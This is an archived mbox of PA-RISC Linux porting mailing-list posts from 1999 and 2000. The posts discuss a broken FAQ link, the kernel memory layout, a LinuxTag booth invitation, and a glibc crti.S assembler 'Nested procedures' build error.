Can you check which assembler gcc is picking up by adding -v to the gcc
command line above?

-- 
Linuxcare.  Support for the Revolution.




From - Thu Nov 08 21:12:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Broken link in FAQ
Date: Tue, 2 May 2000 13:10:29 +0100
Lines: 9
Approved: news@gmane.org
Message-ID: <20000502131029.G646@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618900 32411 80.91.229.3 (22 Nov 2014 01:15:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: richard@sleepie.demon.co.uk  Tue May  2 06:08:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA21332
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 May 2000 06:08:48 -0600
Original-Received: (qmail 3400 invoked by uid 15267); 2 May 2000 12:08:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3371 invoked from network); 2 May 2000 12:08:41 -0000
Original-Received: from unknown (HELO sleepie.demon.co.uk) (root@212.188.130.58)
  by mailserv2.iuinc.com with SMTP; 2 May 2000 12:08:41 -0000
Original-Received: (from richard@localhost)
	by sleepie.demon.co.uk (8.9.3/8.8.7) id NAA01572
	for parisc-linux@thepuffingroup.com; Tue, 2 May 2000 13:10:30 +0100
X-Mailer: Mutt 0.95.5us
Xref: news.gmane.org gmane.linux.ports.parisc:7240

Hi,
  <http://thepuffingroup.com/parisc/faq.html> links to the NFS-Root-HOWTO
as <http://puffin.external.hp.com/mailing-lists/parisc-linux/1635.html>
but I think that should now be

<http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/02-Feb/0069.html>

Richard


From - Thu Nov 08 21:12:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Broken link in FAQ
Date: Tue, 2 May 2000 09:23:12 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20000502092312.D6612@thepuffingroup.com>
References: <20000502131029.G646@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618901 32417 80.91.229.3 (22 Nov 2014 01:15:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: willy@thepuffingroup.com  Tue May  2 06:23:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA21817
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 May 2000 06:23:14 -0600
Original-Received: (qmail 11171 invoked by uid 15267); 2 May 2000 12:23:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11148 invoked from network); 2 May 2000 12:23:12 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 2 May 2000 12:23:12 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id JAA07076;
	Tue, 2 May 2000 09:23:12 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000502131029.G646@sleepie.demon.co.uk>; from Richard Hirst on Tue, May 02, 2000 at 01:10:29PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7241

On Tue, May 02, 2000 at 01:10:29PM +0100, Richard Hirst wrote:
> Hi,
>   <http://thepuffingroup.com/parisc/faq.html> links to the NFS-Root-HOWTO
> as <http://puffin.external.hp.com/mailing-lists/parisc-linux/1635.html>
> but I think that should now be
> 
> <http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/02-Feb/0069.html>

The website is in CVS -- `cvs co website' gives you a copy.  I encourage
anyone who finds a broken link, typo, or other similar mistake to simply
correct it themselves.  I haven't yet been sufficiently lazy to make
the website auto-update when people check in fixes so you'll have to
wait for someone with access to the TPG website to update it.

thanks for finding the problem.


From - Thu Nov 08 21:12:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] memory layout
Date: Thu, 18 Mar 1999 00:55:53 -0500
Organization: mozilla.org diplomatic corps
Lines: 33
Approved: news@gmane.org
Message-ID: <36F09569.F609A7B3@netscape.com>
References: <Pine.LNX.3.96.990317212138.2685A-100000@quark.ix.netcom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618901 32430 80.91.229.3 (22 Nov 2014 01:15:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:01 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Thu Mar 18 00:54:44 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id AAA09792
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 00:54:42 -0500
Original-Received: (qmail 27539 invoked by uid 15267); 18 Mar 1999 05:53:52 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 27531 invoked from network); 18 Mar 1999 05:53:49 -0000
Original-Received: from h-205-217-237-47.netscape.com (HELO netscape.com) (205.217.237.47)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 05:53:49 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id VAA24859
	for <hppa-linux@thepuffingroup.com>; Wed, 17 Mar 1999 21:53:58 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F8S0E000.7L5 for <hppa-linux@thepuffingroup.com>; Wed, 17 Mar
          1999 21:54:00 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.0-pre7-ac1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7242

Kumar wrote:
> 
> Talking about only pa1.1 or 32 bit CPUs, I would say the same layout
> can be used as Linux on Intel does. That is kernel mapped at 0xc0000000.
> So 3 Gig for User space and 1 Gig for kernel. Of course, other ppl may
> have different ideas.

OpenBSD has the same idea, it seems.  From
sys/arch/hppa/include/vmparam.h:

/* user/kernel map constants */
#define VM_MIN_ADDRESS          ((vm_offset_t)0)
#define VM_MAXUSER_ADDRESS      ((vm_offset_t)0xc0000000)
#define VM_MAX_ADDRESS          VM_MAXUSER_ADDRESS
#define VM_MIN_KERNEL_ADDRESS   ((vm_offset_t)0)
#define VM_MAX_KERNEL_ADDRESS   ((vm_offset_t)0xF0000000)

I'll start filling in the x86 numbers blindly, I guess.

> PA has this strange concept of Spaces and they have those
> space registers %sr0 to %sr7. This reminds me of Intel's segment
> registers. And whoever wanted to do any serious OS like Unix on 80386
> never liked segments.

Yeah, I've been trying to figure out whether we should do anything
special with those, but I don't quite understand the whole architecture
yet.

Mike

-- 
311774.80 264634.54


From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [joey@linuxtag.de: Invitation for LinuxTag 2000]
Date: Tue, 2 May 2000 12:39:02 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20000502123902.C8051@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618901 32456 80.91.229.3 (22 Nov 2014 01:15:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Tue May  2 09:39:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA23254
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 May 2000 09:39:07 -0600
Original-Received: (qmail 2935 invoked by uid 15267); 2 May 2000 15:39:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2856 invoked from network); 2 May 2000 15:39:02 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 2 May 2000 15:39:02 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id MAA08689
	for parisc-linux@thepuffingroup.com; Tue, 2 May 2000 12:39:02 -0400
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:7243


since it transpired that martin was unaware that i'd moved to canada and
paying my flight from canada wasn't really in his budget, i'm forwarding
this to this list.  anyone in germany want to help out on the booth?

----- Forwarded message from Martin Schulze <joey@linuxtag.de> -----

Delivered-To: thepuffi-willy@thepuffingroup.com
Date: Sat, 29 Apr 2000 01:44:01 +0200
From: Martin Schulze <joey@linuxtag.de>
To: willy@thepuffingroup.com
Subject: Invitation for LinuxTag 2000
User-Agent: Mutt/1.0i
In-Reply-To: <20000426165753.Q24092@thepuffingroup.com>; from willy@thepuffingroup.com on Wed, Apr 26, 2000 at 04:57:53PM -0400

Hi Willy!

In case you're interested in staffing a booth at LinuxTag 2000 (June 29th
- July 2nd, Stuttgart), dump me a line.  We're organizing a "Linux-Ports"
booth where no pa-risc box is currently.  LinuxTag can be viewed at
www.linuxtag.org

Regards,

	Joey
	LinuxTag 2000 Team

-- 
The MS-DOS filesystem is nice for removable media.  -- H. Peter Anvin

----- End forwarded message -----


From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Benke <frank.benke@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [joey@linuxtag.de: Invitation for LinuxTag 2000]
Date: Tue, 02 May 2000 18:31:12 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <390F02D0.43B1DC64@web.de>
References: <20000502123902.C8051@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618902 32467 80.91.229.3 (22 Nov 2014 01:15:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com, joey@linuxtag.de,
        Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: frank.benke@web.de  Tue May  2 10:31:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA24120
	for <parisc-linux@puffin.external.hp.com>; Tue, 2 May 2000 10:31:42 -0600
Original-Received: (qmail 412 invoked by uid 15267); 2 May 2000 16:31:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32096 invoked from network); 2 May 2000 16:31:01 -0000
Original-Received: from mx03.uni-tuebingen.de (134.2.3.13)
  by mailserv2.iuinc.com with SMTP; 2 May 2000 16:31:01 -0000
Original-Received: from web.de (zxmbk01.extern.uni-tuebingen.de [172.16.198.161])
	by mx03.uni-tuebingen.de (8.9.3/8.9.3) with ESMTP id SAA30854;
	Tue, 2 May 2000 18:30:55 +0200
X-Mailer: Mozilla 4.7 [de] (Win98; I)
X-Accept-Language: de
Xref: news.gmane.org gmane.linux.ports.parisc:7244

hi all;

since hp germany is present at the show and thomas and will be there anyway, i "guess" we will manage to have a box there. but
since we will be busy at the hp booth it might be usefull if some more "staff" will be there.

regards frank

willy@thepuffingroup.com schrieb:

> since it transpired that martin was unaware that i'd moved to canada and
> paying my flight from canada wasn't really in his budget, i'm forwarding
> this to this list.  anyone in germany want to help out on the booth?
>
> ----- Forwarded message from Martin Schulze <joey@linuxtag.de> -----
>
> Delivered-To: thepuffi-willy@thepuffingroup.com
> Date: Sat, 29 Apr 2000 01:44:01 +0200
> From: Martin Schulze <joey@linuxtag.de>
> To: willy@thepuffingroup.com
> Subject: Invitation for LinuxTag 2000
> User-Agent: Mutt/1.0i
> In-Reply-To: <20000426165753.Q24092@thepuffingroup.com>; from willy@thepuffingroup.com on Wed, Apr 26, 2000 at 04:57:53PM -0400
>
> Hi Willy!
>
> In case you're interested in staffing a booth at LinuxTag 2000 (June 29th
> - July 2nd, Stuttgart), dump me a line.  We're organizing a "Linux-Ports"
> booth where no pa-risc box is currently.  LinuxTag can be viewed at
> www.linuxtag.org
>
> Regards,
>
>         Joey
>         LinuxTag 2000 Team
>
> --
> The MS-DOS filesystem is nice for removable media.  -- H. Peter Anvin
>
> ----- End forwarded message -----
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Creasey <sammy@sammy.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crti.S Nested procedures error
Date: Wed, 3 May 2000 10:18:54 -0400 (EDT)
Lines: 59
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005031016340.6083-100000@sammyville.sammy.net>
References: <200005011841.LAA11187@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618902 32476 80.91.229.3 (22 Nov 2014 01:15:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:02 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: sammy@sammy.net  Wed May  3 08:32:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA01683
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 May 2000 08:32:00 -0600
Original-Received: (qmail 17674 invoked by uid 15267); 3 May 2000 14:31:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17632 invoked from network); 3 May 2000 14:31:49 -0000
Original-Received: from dhcp9544086.columbus.rr.com (HELO sammyville.sammy.net) (24.95.44.86)
  by mailserv2.iuinc.com with SMTP; 3 May 2000 14:31:49 -0000
Original-Received: from localhost (sammy@localhost)
	by sammyville.sammy.net (8.8.7/8.8.7) with ESMTP id KAA06173;
	Wed, 3 May 2000 10:18:54 -0400
In-Reply-To: <200005011841.LAA11187@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7245



On Mon, 1 May 2000, Grant Grundler wrote:

> Sammy,
> 
> I tried the "glibc" recipe on my x86 box (running Debian potato release).
> (http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/04-Apr/0059.html)
> 
> "make" died with the following error:
> 
> ...
> hppa1.1-linux-gcc /linux/grundler/glibc/hppa1.1-linux/csu/crti.S -c  -I../include -I. -I/linux/grundler/glibc/hppa1.1-linux/csu -I.. -I../libio  -I/linux/grundler/glibc/hppa1.1-linux -I../sysdeps/hppa/elf -I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux -I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman -I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix -I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa -I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic  -nostdinc -isystem /opt/puffin/lib/gcc-lib/hppa1.1-linux/2.9-hppa-991112/include -isystem /opt/puffin/include  -include ../include/libc-s
 ymbols.h     -DHAVE_INITFINI -DASSEMBLER  -I/linux/grundler/glibc/hppa1.1-linux/csu/.  -g0  -o /linux/grundler/glibc/hppa1.1-linux/csu/crti.o
> 
> bc-symbols.h     -DHAVE_INITFINI -DASSEMBLER  -I/linux/grundler/glibc/hppa1.1-linux/csu/.  -g0  -o /linux/grundler/glibc/hppa1.1-linux/csu/crti.o
> /linux/grundler/glibc/hppa1.1-linux/csu/crti.S: Assembler messages:
> /linux/grundler/glibc/hppa1.1-linux/csu/crti.S:42: Fatal error: Nested procedures
> make[2]: *** [/linux/grundler/glibc/hppa1.1-linux/csu/crti.o] Error 1
> make[2]: Leaving directory `/linux/grundler/glibc/csu'
> make[1]: *** [csu/subdir_lib] Error 2
> 
> 
> Sure enough, two .PROC's have no .PROCEND in between.
> glibc/csu/Makefile builds crti.S with:
> 
> $(objpfx)crti.S: $(objpfx)initfini.s
>         sed -n -e '1,/@HEADER_ENDS/p' \
>                -e '/@_.*_PROLOG_BEGINS/,/@_.*_PROLOG_ENDS/p' \
>                -e '/@TRAILER_BEGINS/,$$p' $< > $@ 
> 
> 
> It seems either the initfini.s contents are wrong or the "sed" hack
> above is removing too much.  Which is it?
> Or should there only be one .PROC?
> 
> We get two .PROC's because initfini.s has both @_init_PROLOG_BEGINS/ENDS
> and @_fini_PROLOG_BEGINS/ENDS. 
> 
> Appended "diff -u initfini.s crti.S" shows what sed is doing.
> 
> thanks,
> grant

ok, for a while I was dealing with this by simply hacking up initfini.s by
hand, but that wasn't necessary last time I built.  I think this is
related to the fact that somebody had taken out .proc/.procend from the
assembler entirely (well, ignored them  on ELF targets).  I think this was
a bad idea (if I remember tc-hppa.c from gas, it depends on these to build
some of the global symbol information?  It did something even on an elf
target).

We might need our own magic sed script for parisc.

Lemme think about this properly, I just woke up and am expected at work.

-- Sam



From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crti.S Nested procedures error
Date: Wed, 3 May 2000 11:53:10 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20000503115310.A27702@thepuffingroup.com>
References: <200005011841.LAA11187@milano.cup.hp.com> <Pine.LNX.4.21.0005031016340.6083-100000@sammyville.sammy.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618903 32478 80.91.229.3 (22 Nov 2014 01:15:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:03 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Sam Creasey <sammy@sammy.net>
Original-X-From: willy@thepuffingroup.com  Wed May  3 08:56:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA02082
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 May 2000 08:56:37 -0600
Original-Received: (qmail 6035 invoked by uid 15267); 3 May 2000 14:56:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5915 invoked from network); 3 May 2000 14:56:26 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 3 May 2000 14:56:26 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA27711;
	Wed, 3 May 2000 11:53:10 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.LNX.4.21.0005031016340.6083-100000@sammyville.sammy.net>; from Sam Creasey on Wed, May 03, 2000 at 10:18:54AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7246

On Wed, May 03, 2000 at 10:18:54AM -0400, Sam Creasey wrote:
> ok, for a while I was dealing with this by simply hacking up initfini.s by
> hand, but that wasn't necessary last time I built.  I think this is
> related to the fact that somebody had taken out .proc/.procend from the
> assembler entirely (well, ignored them  on ELF targets).  I think this was
> a bad idea (if I remember tc-hppa.c from gas, it depends on these to build
> some of the global symbol information?  It did something even on an elf
> target).

it was a bad idea, it broke other things.  i suspect the right thing
to do is move some of the global symbol information-building code
which is currently invoked upon seeing a .proc or .procend to simply
seeing a non-local label, like the other assemblers do.  i don't see why
linux/elf/pa-risc needs anything special in this regard.  Alan (Modra),
do you have any comments?

> We might need our own magic sed script for parisc.

i'd prefer not to..


From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crti.S Nested procedures error
Date: Thu, 4 May 2000 10:28:33 +1000 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005041021050.8334-100000@front.linuxcare.com.au>
References: <20000503115310.A27702@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618903 32485 80.91.229.3 (22 Nov 2014 01:15:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:03 +0000 (UTC)
Cc: Sam Creasey <sammy@sammy.net>, Grant Grundler <grundler@cup.hp.com>,
        parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: alan@linuxcare.com.au  Wed May  3 18:28:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA07127
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 May 2000 18:28:52 -0600
Original-Received: (qmail 30090 invoked by uid 15267); 4 May 2000 00:28:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30068 invoked from network); 4 May 2000 00:28:49 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 4 May 2000 00:28:49 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA10469;
	Thu, 4 May 2000 10:28:33 +1000
In-Reply-To: <20000503115310.A27702@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7247

On Wed, 3 May 2000 willy@thepuffingroup.com wrote:

> On Wed, May 03, 2000 at 10:18:54AM -0400, Sam Creasey wrote:
> > ok, for a while I was dealing with this by simply hacking up initfini.s by
> > hand, but that wasn't necessary last time I built.  I think this is
> > related to the fact that somebody had taken out .proc/.procend from the
> > assembler entirely (well, ignored them  on ELF targets).  I think this was
> > a bad idea (if I remember tc-hppa.c from gas, it depends on these to build
> > some of the global symbol information?  It did something even on an elf
> > target).
> 
> it was a bad idea, it broke other things.  i suspect the right thing
> to do is move some of the global symbol information-building code
> which is currently invoked upon seeing a .proc or .procend to simply
> seeing a non-local label, like the other assemblers do.  i don't see why
> linux/elf/pa-risc needs anything special in this regard.  Alan (Modra),
> do you have any comments?

Well, I'm still coming up to speed on the parisc architecture, so maybe my
comments aren't that valuable.  There are quite a lot of things I don't
like about the current set of puffin parisc patches though, and zapping
these pseudo ops is one of them.

On another issue, can someone tell me why the assembler comment character
needed to be changed from `;' to `!' ?  This seems a really ill-advised
change to me.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crti.S Nested procedures error
Date: Thu, 4 May 2000 10:49:54 +1000 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005041047580.8334-100000@front.linuxcare.com.au>
References: <200005040040.RAA14682@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618904 32491 80.91.229.3 (22 Nov 2014 01:15:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Wed May  3 18:50:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA07474
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 May 2000 18:50:04 -0600
Original-Received: (qmail 12693 invoked by uid 15267); 4 May 2000 00:50:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12664 invoked from network); 4 May 2000 00:50:02 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 4 May 2000 00:50:02 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA13645;
	Thu, 4 May 2000 10:49:54 +1000
In-Reply-To: <200005040040.RAA14682@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7248

On Wed, 3 May 2000, Grant Grundler wrote:

> Alan Modra wrote:
> 
> > On another issue, can someone tell me why the assembler comment character
> > needed to be changed from `;' to `!' ?  This seems a really ill-advised
> > change to me.
> 
> See:
> http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/03-Mar/0078.html

Thanks for the pointer.  I agree with all these except the comment
change...  :)

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crti.S Nested procedures error
Date: Wed, 03 May 2000 18:54:24 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <26706.957401664@upchuck>
References: <Pine.LNX.4.21.0005041047580.8334-100000@front.linuxcare.com.au>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618904 32493 80.91.229.3 (22 Nov 2014 01:15:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:04 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: law@upchuck.cygnus.com  Wed May  3 18:54:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA07606
	for <parisc-linux@puffin.external.hp.com>; Wed, 3 May 2000 18:54:40 -0600
Original-Received: (qmail 15288 invoked by uid 15267); 4 May 2000 00:54:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15274 invoked from network); 4 May 2000 00:54:38 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 4 May 2000 00:54:38 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id SAA26709;
	Wed, 3 May 2000 18:54:24 -0600
